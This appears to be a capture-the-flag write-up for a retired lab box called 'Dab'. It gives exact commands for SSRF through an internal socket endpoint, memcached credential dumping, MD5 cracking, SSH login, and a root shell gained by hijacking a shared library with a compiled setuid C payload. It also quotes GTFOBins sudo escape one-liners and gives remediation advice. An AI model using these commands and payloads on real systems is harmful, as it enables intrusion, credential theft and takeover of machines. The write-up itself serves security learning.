Dab
Summary
Recon against <retired-instance-ip> identified three open services: FTP (21, anonymous login allowed, serving a decoy dab.jpg), HTTP (80, nginx 1.10.3, redirecting to a /login form), and an internal-only web app on 8080 titled "Internal Dev". The 8080 app exposed a /socket?port=X&cmd=Y endpoint gated by a `[REDACTED: recovered credential]=[REDACTED: recovered credential] cookie — an SSRF-style TCP socket tester that stripped symbol characters but allowed spaces, making it usable as an internal port scanner/interaction primitive against loopback services not reachable directly (memcached on 11211, closed to the outside per direct nmap scan but reachable via the app's internal socket).
Using the cookie-gated /socket endpoint, memcached (localhost:11211) was enumerated via stats slabs and stats cachedump <slab> 1000, dumping cached key/value pairs including a user credential cache (slab 26) containing an MD5 hash for user genevieve: [REDACTED: protected value]. This hash was cracked offline with john --format=raw-md5, recovering the [REDACTED: recovered credential] [REDACTED: recovered credential]. SSH login as genevieve with this [REDACTED: recovered credential] succeeded, granting foothold and user.txt ([REDACTED: flag]).
Privilege escalation exploited a library search-path (LD_LIBRARY_PATH/ld.so.conf.d) hijack: a SUID binary /usr/bin/myexec dynamically loads libseclogin.so and prompts for a [REDACTED: recovered credential] (recovered as [REDACTED: recovered credential]) before invoking the library's seclogin() export. Because /tmp was present in the system's ld.so search path (/etc/ld.so.conf.d), a malicious libseclogin.so was compiled exporting seclogin() that calls setuid(0) and execs /bin/sh, placed in /tmp, and loaded by myexec in place of the legitimate library — yielding a root shell and root.txt ([REDACTED: flag]).
Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p21,22,80,8080 --script ftp-anon,http-title,http-headers $TARGETftp $TARGETExact commands 1
curl -sS -G -b "$SESSION_COOKIE" --data-urlencode 'port=80' --data-urlencode 'cmd=GET / HTTP/1.0' 'http://$TARGET:8080/socket'FixReplace the hardcoded cookie [REDACTED: recovered credential] with proper authentication on the 8080 applicationHigh
Exact commands 2
wfuzz -b "$SESSION_COOKIE" -c -z range,1-65535 --hw 0 'http://$TARGET:8080/socket?port=FUZZ&cmd=version'curl -sS -G -b "$SESSION_COOKIE" --data-urlencode 'port=11211' --data-urlencode 'cmd=version' 'http://$TARGET:8080/socket'FixRemove or strictly restrict the TCP socket-relay (SSRF) endpointCritical
Exact commands 3
curl -sS -G -b "$SESSION_COOKIE" --data-urlencode 'port=11211' --data-urlencode 'cmd=stats slabs' 'http://$TARGET:8080/socket'curl -sS -G -b "$SESSION_COOKIE" --data-urlencode 'port=11211' --data-urlencode 'cmd=stats cachedump 16 1000' 'http://$TARGET:8080/socket'curl -sS -G -b "$SESSION_COOKIE" --data-urlencode 'port=11211' --data-urlencode 'cmd=stats cachedump 26 1000' 'http://$TARGET:8080/socket'FixEnable memcached authentication and never store credential material in the cacheCritical
Exact commands 3
echo '[REDACTED: protected value]' > genevieve.hashjohn --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt genevieve.hashjohn --show --format=raw-md5 genevieve.hashFixReplace unsalted MD5 with a memory-hard [REDACTED: recovered credential] hashing algorithmCritical
Exact commands 2
ssh genevieve@$TARGETcat /home/genevieve/user.txtFixReplace unsalted MD5 with a memory-hard [REDACTED: recovered credential] hashing algorithmCritical
Exact commands 7
find / -perm -4000 -type f 2>/dev/nullldd /usr/bin/myexeccat /etc/ld.so.conf.d/*.confcat > /tmp/libseclogin.c << 'EOF'
#include <unistd.h>
void seclogin(void) {
setuid(0);
setgid(0);
execl("/bin/sh", "sh", NULL);
}
EOFgcc -shared -fPIC -o /tmp/libseclogin.so /tmp/libseclogin.c/usr/bin/myexeccat /root/root.txtFixRemove world-writable directories from the dynamic linker search path and audit SUID binaries that load non-system librariesCritical
Attack patterns used
The transferable techniques behind this compromise.
[REDACTED: recovered credential] / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A [REDACTED: recovered credential] recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked [REDACTED: recovered credential] into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a [REDACTED: recovered credential] manager/vault, and MFA on remote-access services.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Findings
Exposed services
| 21/tcp | ftp |
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http |
| 8080/tcp | http-proxy |